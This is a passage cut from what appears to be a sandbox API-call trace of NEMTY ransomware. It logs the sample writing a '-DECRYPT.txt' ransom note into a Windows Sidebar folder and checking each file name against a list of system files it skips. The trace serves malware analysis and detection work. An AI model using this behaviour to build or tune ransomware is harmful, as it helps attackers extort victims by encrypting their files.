CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Shared Gadgets", cchWideChar=14, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 14 [0169.833] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Shared Gadgets", cchWideChar=14, lpMultiByteStr=0x653f590, cbMultiByte=14, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Shared Gadgets", lpUsedDefaultChar=0x0) returned 14 [0169.833] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0169.833] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0169.833] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x60) returned 0x4f940f0 [0169.833] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x8e) returned 0x6346df8 [0169.833] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f940f0 | out: hHeap=0x4f90000) returned 1 [0169.833] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94088 | out: hHeap=0x4f90000) returned 1 [0169.833] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x70) returned 0x4f94088 [0169.833] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xef8) returned 0x634ad48 [0169.833] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0169.833] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0169.833] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ecb8, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0169.833] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0169.833] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0169.833] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x80) returned 0x4f94100 [0169.833] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0169.833] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xbe) returned 0x4f94188 [0169.833] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94100 | out: hHeap=0x4f90000) returned 1 [0169.833] CreateFileW (lpFileName="C:\\Program Files\\Windows Sidebar\\Shared Gadgets\\_NEMTY_kGOBjgD_-DECRYPT.txt" (normalized: "c:\\program files\\windows sidebar\\shared gadgets\\_nemty_kgobjgd_-decrypt.txt"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x3c4 [0169.836] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94188 | out: hHeap=0x4f90000) returned 1 [0169.836] SetFilePointer (in: hFile=0x3c4, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0169.836] WriteFile (in: hFile=0x3c4, lpBuffer=0x634ad48*, nNumberOfBytesToWrite=0xef8, lpNumberOfBytesWritten=0x653f540, lpOverlapped=0x0 | out: lpBuffer=0x634ad48*, lpNumberOfBytesWritten=0x653f540*=0xef8, lpOverlapped=0x0) returned 1 [0169.837] CloseHandle (hObject=0x3c4) returned 1 [0169.838] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x634ad48 | out: hHeap=0x4f90000) returned 1 [0169.838] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94088 | out: hHeap=0x4f90000) returned 1 [0169.838] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x70) returned 0x4f94088 [0169.838] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x70) returned 0x4f94100 [0169.838] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x70) returned 0x4f94178 [0169.838] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xef8) returned 0x634ad48 [0169.838] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0169.838] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0169.838] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ed58, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0169.838] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0169.838] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0169.838] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x80) returned 0x4f941f0 [0169.838] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0169.838] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xbe) returned 0x4f94278 [0169.838] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f941f0 | out: hHeap=0x4f90000) returned 1 [0169.838] CreateFileW (lpFileName="C:\\Program Files\\Windows Sidebar\\Shared Gadgets\\_NEMTY_kGOBjgD_-DECRYPT.txt" (normalized: "c:\\program files\\windows sidebar\\shared gadgets\\_nemty_kgobjgd_-decrypt.txt"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x3c4 [0169.839] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94278 | out: hHeap=0x4f90000) returned 1 [0169.839] SetFilePointer (in: hFile=0x3c4, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0169.839] WriteFile (in: hFile=0x3c4, lpBuffer=0x634ad48*, nNumberOfBytesToWrite=0xef8, lpNumberOfBytesWritten=0x653f200, lpOverlapped=0x0 | out: lpBuffer=0x634ad48*, lpNumberOfBytesWritten=0x653f200*=0xef8, lpOverlapped=0x0) returned 1 [0169.840] CloseHandle (hObject=0x3c4) returned 1 [0169.840] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x634ad48 | out: hHeap=0x4f90000) returned 1 [0169.840] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94178 | out: hHeap=0x4f90000) returned 1 [0169.840] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x70) returned 0x4f94178 [0169.840] FindFirstFileW (in: lpFileName="C:\\Program Files\\Windows Sidebar\\Shared Gadgets\\*.*", lpFindFileData=0x653f348 | out: lpFindFileData=0x653f348*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80046d91, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x18ddfcf0, ftLastAccessTime.dwHighDateTime=0x1d561e8, ftLastWriteTime.dwLowDateTime=0x18ddfcf0, ftLastWriteTime.dwHighDateTime=0x1d561e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xf, dwReserved1=0x4f90000, cFileName=".", cAlternateFileName="")) returned 0x3423930 [0169.840] lstrcmpiW (lpString1=".", lpString2=".") returned 0 [0169.840] FindNextFileW (in: hFindFile=0x3423930, lpFindFileData=0x653f348 | out: lpFindFileData=0x653f348*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80046d91, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x18ddfcf0, ftLastAccessTime.dwHighDateTime=0x1d561e8, ftLastWriteTime.dwLowDateTime=0x18ddfcf0, ftLastWriteTime.dwHighDateTime=0x1d561e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xf, dwReserved1=0x4f90000, cFileName="..", cAlternateFileName="")) returned 1 [0169.840] lstrcmpiW (lpString1="..", lpString2=".") returned 1 [0169.840] lstrcmpiW (lpString1="..", lpString2="..") returned 0 [0169.840] FindNextFileW (in: hFindFile=0x3423930, lpFindFileData=0x653f348 | out: lpFindFileData=0x653f348*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x18ddfcf0, ftCreationTime.dwHighDateTime=0x1d561e8, ftLastAccessTime.dwLowDateTime=0x18ddfcf0, ftLastAccessTime.dwHighDateTime=0x1d561e8, ftLastWriteTime.dwLowDateTime=0x18e05e50, ftLastWriteTime.dwHighDateTime=0x1d561e8, nFileSizeHigh=0x0, nFileSizeLow=0xef8, dwReserved0=0xf, dwReserved1=0x4f90000, cFileName="_NEMTY_kGOBjgD_-DECRYPT.txt", cAlternateFileName="_NEMTY~1.TXT")) returned 1 [0169.840] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2=".") returned 1 [0169.840] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="..") returned 1 [0169.841] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="...") returned 1 [0169.841] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="windows") returned -1 [0169.841] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="$RECYCLE.BIN") returned 1 [0169.841] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="rsa") returned -1 [0169.841] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="NTDETECT.COM") returned -1 [0169.841] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="ntldr") returned -1 [0169.841] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="MSDOS.SYS") returned -1 [0169.841] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="IO.SYS") returned -1 [0169.841] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="boot.ini") returned -1 [0169.841] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="boot.ini") returned -1 [0169.841] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="AUTOEXEC.BAT") returned -1 [0169.841] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="ntuser.dat") returned -1 [0169.841] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="desktop.ini") returned -1 [0169.841] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="CONFIG.SYS") returned -1 [0169.841] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="RECYCLER") returned -1 [0169.841] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="BOOTSECT.BAK") returned -1 [0169.841] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="bootmgr") returned -1 [0169.841] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="programdata") returned -1 [0169.841] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="appdata") returned -1 [0169.841] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345da8 [0169.841] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="_NEMTY_kGOBjgD_-DECRYPT.txt", cchWideChar=27, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 27 [0169.841] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0169.841] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="_NEMTY_kGOBjgD_-DECRYPT.txt", cchWideChar=27, lpMultiByteStr=0x4f9ecb8, cbMultiByte=27, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="_NEMTY_kGOBjgD_-DECRYPT.txt", lpUsedDefaultChar=0x0) returned 27 [0169.841] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0169.841] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345d60 [0169.841] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="_NEMTY_kGOBjgD_-DECRYPT.txt", cchWideChar=27, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 27 [0169.841] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0169.841] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="_NEMTY_kGOBjgD_-DECRYPT.txt", cchWideChar=27, lpMultiByteStr=0x4f9ecb8, cbMultiByte=27, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="_NEMTY_kGOBjgD_-DECRYPT.txt", lpUsedDefaultChar=0x0) returned 27 [0169.841] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0169.841] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345d60 | out: hHeap=0x4f90000) returned 1 [0169.841] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345da8 | out: hHeap=0x4f90000) returned 1 [0169.841] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345da8 [0169.841] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="_NEMTY_kGOBjgD_-DECRYPT.txt", cchWideChar=27, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 27 [0169.841] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0169.841] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="_NEMTY_kGOBjgD_-DECRYPT.txt", cchWideChar=27, lpMultiByteStr=0x4f9ecb8, cbMultiByte=27, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="_NEMTY_kGOBjgD_-DECRYPT.txt", lpUsedDefaultChar=0x0) returned 27 [0169.841] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345da8 | out: hHeap=0x4f90000) returned 1 [0169.841] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345da8 [0169.842] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="_NEMTY_kGOBjgD_-DECRYPT.txt", cchWideChar=27, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 27 [0169.842] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0169.842] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="_NEMTY_kGOBjgD_-DECRYPT.txt", cchWideChar=27, lpMultiByteStr=0x4f9ed58, cbMultiByte=27, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="_NEMTY_kGOBjgD_-DECRYPT.txt", lpUsedDefaultChar=0x0) returned 27 [0169.842] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345da8 | out: hHeap=0x4f90000) returned 1 [0169.842] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x4f941f0 [0169.842] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94178 | out: hHeap=0x4f90000) returned 1 [0169.842] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0169.842] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0169.842] FindNextFileW (in: hFindFile=0x3423930, lpFindFileData=0x653f348 | out: lpFindFileData=0x653f348*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x18ddfcf0, ftCreationTime.dwHighDateTime=0x1d561e8, ftLastAccessTime.dwLowDateTime=0x18ddfcf0, ftLastAccessTime.dwHighDateTime=0x1d561e8, ftLastWriteTime.dwLowDateTime=0x18e05e50, ftLastWriteTime.dwHighDateTime=0x1d561e8, nFileSizeHigh=0x0, nFileSizeLow=0xef8, dwReserved0=0xf, dwReserved1=0x4f90000, cFileName="_NEMTY_kGOBjgD_-DECRYPT.txt", cAlternateFileName="_NEMTY~1.TXT")) returned 0 [0169.842] FindClose (in: hFindFile=0x3423930 | out: hFindFile=0x3423930) returned 1 [0169.842] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f941f0 | out: hHeap=0x4f90000) returned 1 [0169.842] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94100 | out: hHeap=0x4f90000) returned 1 [0169.842] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94088 | out: hHeap=0x4f90000) returned 1 [0169.842] FindNextFileW (in: hFindFile=0x3423970, lpFindFileData=0x653f688 | out: lpFindFileData=0x653f688*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa896430f, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0xa896430f, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0xa898a46f, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x168400, dwReserved0=0xb, dwReserved1=0x4f90000, cFileName="sidebar.exe", cAlternateFileName="")) returned 1 [0169.842] lstrcmpiW (lpString1="sidebar.exe", lpString2=".") returned 1 [0169.842] lstrcmpiW (lpString1="sidebar.exe", lpString2="..") returned 1 [0169.842] lstrcmpiW (lpString1="sidebar.exe", lpString2="...") returned 1 [0169.842] lstrcmpiW (lpString1="sidebar.exe", lpString2="windows") returned -1 [0169.842] lstrcmpiW (lpString1="sidebar.exe", lpString2="$RECYCLE.BIN") returned 1 [0169.842] lstrcmpiW (lpString1="sidebar.exe", lpString2="rsa") returned 1 [0169.842] lstrcmpiW (lpString1="sidebar.exe", lpString2="NTDETECT.COM") returned 1 [0169.842] lstrcmpiW (lpString1="sidebar.exe", lpString2="ntldr") returned 1 [0169.842] lstrcmpiW (lpString1="sidebar.exe", lpString2="MSDOS.SYS") returned 1 [0169.842] lstrcmpiW (lpString1="sidebar.exe", lpString2="IO.SYS") returned 1 [0169.842] lstrcmpiW (lpString1="sidebar.exe", lpString2="boot.ini") returned 1 [0169.842] lstrcmpiW (lpString1="sidebar.exe", lpString2="boot.ini") returned 1 [0169.842] lstrcmpiW (lpString1="sidebar.exe", lpString2="AUTOEXEC.BAT") returned 1 [0169.842] lstrcmpiW (lpString1="sidebar.exe", lpString2="ntuser.dat") returned 1 [0169.842] lstrcmpiW (lpString1="sidebar.exe", lpString2="desktop.ini") returned 1 [0169.842] lstrcmpiW (lpString1="sidebar.exe", lpString2="CONFIG.SYS") returned 1 [0169.842] lstrcmpiW (lpString1="sidebar.exe", lpString2="RECYCLER") returned 1 [0169.842] lstrcmpiW (lpString1="sidebar.exe", lpString2="BOOTSECT.BAK") returned 1 [0169.842] lstrcmpiW (lpString1="sidebar.exe", lpString2="bootmgr") returned 1 [0169.842] lstrcmpiW (lpString1="sidebar.exe", lpString2="programdata") returned 1 [0169.842] lstrcmpiW (lpString1="sidebar.exe", lpString2="appdata") returned 1 [0169.842] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0169.843] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="sidebar.exe", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0169.843] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="sidebar.exe", cchWideChar=11, lpMultiByteStr=0x653f590, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="sidebar.exe", lpUsedDefaultChar=0x0) returned 11 [0169.843] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0169.843] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="sidebar.exe", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0169.843] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="sidebar.exe", cchWideChar=11, lpMultiByteStr=0x653f590, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="sidebar.exe", lpUsedDefaultChar=0x0) returned 11 [0169.843] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0169.843] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0169.843] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0169.843] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="sidebar.exe", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0169.843] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="sidebar.exe", cchWideChar=11, lpMultiByteStr=0x653f5e0, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="sidebar.exe", lpUsedDefaultChar=0x0) returned 11 [0169.843] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0169.843] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0169.843] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="sidebar.exe", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0169.843] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="sidebar.exe", cchWideChar=11, lpMultiByteStr=0x653f618, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="sidebar.exe", lpUsedDefaultChar=0x0) returned 11 [0169.843] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0169.843] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x60) returned 0x4f94088 [0169.843] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346df8 | out: hHeap=0x4f90000) returned 1 [0169.843] FindNextFileW (in: hFindFile=0x3423970, lpFindFileData=0x653f688 | out: lpFindFileData=0x653f688*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7abe9733, ftCreationTime.dwHighDateTime=0x1ca0415, ftLastAccessTime.dwLowDateTime=0x7abe9733, ftLastAccessTime.dwHighDateTime=0x1ca0415, ftLastWriteTime.dwLowDateTime=0x45aefc70, ftLastWriteTime.dwHighDateTime=0x1ca0424, nFileSizeHigh=0x0, nFileSizeLow=0x27e00, dwReserved0=0xb, dwReserved1=0x4f90000, cFileName="wlsrvc.dll", cAlternateFileName="")) returned 1 [0169.843] lstrcmpiW (lpString1="wlsrvc.dll", lpString2=".") returned 1 [0169.843] lstrcmpiW (lpString1="wlsrvc.dll", lpString2="..") returned 1 [0169.843] lstrcmpiW (lpString1="wlsrvc.dll", lpString2="...") returned 1 [0169.843] lstrcmpiW (lpString1="wlsrvc.dll", lpString2="windows") returned 1 [0169.843] lstrcmpiW (lpString1="wlsrvc.dll", lpString2="$RECYCLE.BIN") returned 1 [0169.843] lstrcmpiW (lpString1="wlsrvc.dll", lpString2="rsa") returned 1 [0169.843] lstrcmpiW (lpString1="wlsrvc.dll", lpString2="NTDETECT.COM") returned 1 [0169.843] lstrcmpiW (lpString1="wlsrvc.dll", lpString2="ntldr") returned 1 [0169.843] lstrcmpiW (lpString1="wlsrvc.dll", lpString2="MSDOS.SYS") returned 1 [0169.843] lstrcmpiW (lpString1="wlsrvc.dll", lpString2="IO.SYS") returned 1 [0169.843] lstrcmpiW (lpString1="wlsrvc.dll", lpString2="boot.ini") returned 1 [0169.843] lstrcmpiW (lpString1="wlsrvc.dll", lpString2="boot.ini") returned 1 [0169.843] lstrcmpiW (lpString1="wlsrvc.dll", lpString2="AUTOEXEC.BAT") returned 1 [0169.843] lstrcmpiW (lpString1="wlsrvc.dll", lpString2="ntuser.dat") returned 1 [0169.843] lstrcmpiW (lpString1="wlsrvc.dll", lpString2="desktop.ini") returned 1 [0169.843] lstrcmpiW (lpString1="wlsrvc.dll", lpString2="CONFIG.SYS") returned 1 [0169.843] lstrcmpiW (lpString1="wlsrvc.dll", lpString2="RECYCLER") returned 1 [0169.843] lstrcmpiW (lpString1="wlsrvc.dll", lpString2="BOOTSECT.BAK") returned 1 [0169.843] lstrcmpiW (lpString1="wlsrvc.dll", lpString2="bootmgr") returned 1 [0169.844] lstrcmpiW (lpString1="wlsrvc.dll", lpString2="programdata") returned 1 [0169.844] lstrcmpiW (lpString1="wlsrvc.dll", lpString2="appdata") returned 1 [0169.844] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0169.844] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="wlsrvc.dll", cchWideChar=10, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 10 [0169.844] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="wlsrvc.dll", cchWideChar=10, lpMultiByteStr=0x653f590, cbMultiByte=10, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="wlsrvc.dll", lpUsedDefaultChar=0x0) returned 10 [0169.844] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0169.844] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="wlsrvc.dll", cchWideChar=10, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 10 [0169.844] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="wlsrvc.dll", cchWideChar=10, lpMultiByteStr=0x653f590, cbMultiByte=10, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="wlsrvc.dll", lpUsedDefaultChar=0x0) returned 10 [0169.844] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0169.844] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0169.844] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0169.844] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, 